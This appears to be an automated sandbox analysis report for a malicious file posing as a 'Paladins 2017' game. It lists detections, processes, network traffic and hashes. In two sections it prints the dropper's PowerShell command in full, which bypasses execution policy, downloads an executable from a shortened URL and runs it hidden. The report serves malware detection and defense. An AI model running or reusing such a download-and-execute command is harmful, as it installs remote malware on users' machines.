Malware Analysis Report

2024-10-10 07:15

Sample ID 240613-s52l5aygjq
Target a6510978e3b1afc734bf15c59267210d_JaffaCakes118
SHA256 0b01cc0e08dc7b5d973f7eb30461d71e6fd0808f7ff68c7d9bef90b28f630944
Tags
execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0b01cc0e08dc7b5d973f7eb30461d71e6fd0808f7ff68c7d9bef90b28f630944

Threat Level: Known bad

The file a6510978e3b1afc734bf15c59267210d_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

execution

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Program crash

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 15:43

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 15:43

Reported

2024-06-13 15:45

Platform

win10v2004-20240508-en

Max time kernel

52s

Max time network

53s

Command Line

"C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe

"C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe"

C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe

"C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://goo.gl/v5D4FL','C:\Users\Admin\AppData\Local\Temp\Test.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\Test.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 goo.gl udp

Files

C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe

MD5 63872a65e79e528a22747df67525e893
SHA1 dd2442e36c8f12f1ba1a63b782fa484037807d9e
SHA256 c26274ca8342e789d07fc643f0c8b83531ee79ff2910b4544d0e8678d49c5507
SHA512 82efc5060798339ae6443cd751700fcfc9bd6c91a6e025acc13369834412f0fd6ed783959371c7cfd5882deeb6dbc3fd4ec8da98c606dc5a58fc9767a1febef3

memory/384-15-0x000000007360E000-0x000000007360F000-memory.dmp

memory/384-16-0x0000000000030000-0x00000000005DC000-memory.dmp

memory/384-17-0x0000000004F50000-0x0000000004FEC000-memory.dmp

memory/384-19-0x0000000005600000-0x0000000005BA4000-memory.dmp

memory/384-20-0x00000000050F0000-0x0000000005182000-memory.dmp

memory/384-21-0x0000000005020000-0x000000000502A000-memory.dmp

memory/384-22-0x0000000005190000-0x00000000051E6000-memory.dmp

memory/384-23-0x0000000073600000-0x0000000073DB0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\logs.lnk

MD5 99d09202606b525e053f0efa7baa9348
SHA1 fe32396a4b734dc9cd74d2e6645dd0417ee2e990
SHA256 1af53c004e960cfe8425461e3a7a03769485c5f33c4059aa200d14df3615c602
SHA512 28f4dac7a6a0beffa517716f78bfe4f3b3c7e1d39e7a6f61896464417cc27db9472d932106e8ad2e4a42161fd89136394b615f639cca4775121e7887991a29e0

memory/4068-27-0x0000000002890000-0x00000000028C6000-memory.dmp

memory/4068-28-0x0000000004F20000-0x0000000005548000-memory.dmp

memory/4068-30-0x00000000055C0000-0x0000000005626000-memory.dmp

memory/4068-29-0x0000000004D60000-0x0000000004D82000-memory.dmp

memory/4068-31-0x0000000005630000-0x0000000005696000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mcxm0a2c.vva.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4068-41-0x0000000005730000-0x0000000005A84000-memory.dmp

memory/4068-42-0x0000000005D10000-0x0000000005D2E000-memory.dmp

memory/4068-43-0x0000000005D60000-0x0000000005DAC000-memory.dmp

memory/4068-44-0x0000000007400000-0x0000000007A7A000-memory.dmp

memory/4068-45-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

memory/4068-46-0x0000000007260000-0x00000000072F6000-memory.dmp

memory/4068-47-0x0000000007210000-0x0000000007232000-memory.dmp

memory/384-50-0x000000007360E000-0x000000007360F000-memory.dmp

memory/384-51-0x0000000073600000-0x0000000073DB0000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-13 15:43

Reported

2024-06-13 15:45

Platform

win7-20240508-en

Max time kernel

121s

Max time network

121s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1904 wrote to memory of 1852 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-13 15:43

Reported

2024-06-13 15:45

Platform

win10v2004-20240226-en

Max time kernel

143s

Max time network

149s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3220 wrote to memory of 4160 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3220 wrote to memory of 4160 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3220 wrote to memory of 4160 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\setings.dll",#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4160 -ip 4160

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1044 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 81.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
GB 23.44.234.16:80 tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 159.113.53.23.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 91.65.42.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 15:43

Reported

2024-06-13 15:46

Platform

win7-20240611-en

Max time kernel

117s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe

"C:\Users\Admin\AppData\Local\Temp\pLh Paladins 2017\pLh Paladins 2017.exe"

C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe

"C:\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://goo.gl/v5D4FL','C:\Users\Admin\AppData\Local\Temp\Test.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\Test.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 goo.gl udp
GB 142.250.187.238:443 goo.gl tcp
US 8.8.8.8:53 api.edmodo.com udp

Files

\Users\Admin\AppData\Local\Temp\01 - pLh Paladins 2017.exe

MD5 63872a65e79e528a22747df67525e893
SHA1 dd2442e36c8f12f1ba1a63b782fa484037807d9e
SHA256 c26274ca8342e789d07fc643f0c8b83531ee79ff2910b4544d0e8678d49c5507
SHA512 82efc5060798339ae6443cd751700fcfc9bd6c91a6e025acc13369834412f0fd6ed783959371c7cfd5882deeb6dbc3fd4ec8da98c606dc5a58fc9767a1febef3

C:\Users\Admin\AppData\Local\Temp\logs.lnk

MD5 99d09202606b525e053f0efa7baa9348
SHA1 fe32396a4b734dc9cd74d2e6645dd0417ee2e990
SHA256 1af53c004e960cfe8425461e3a7a03769485c5f33c4059aa200d14df3615c602
SHA512 28f4dac7a6a0beffa517716f78bfe4f3b3c7e1d39e7a6f61896464417cc27db9472d932106e8ad2e4a42161fd89136394b615f639cca4775121e7887991a29e0

memory/2388-21-0x00000000008F0000-0x0000000000E9C000-memory.dmp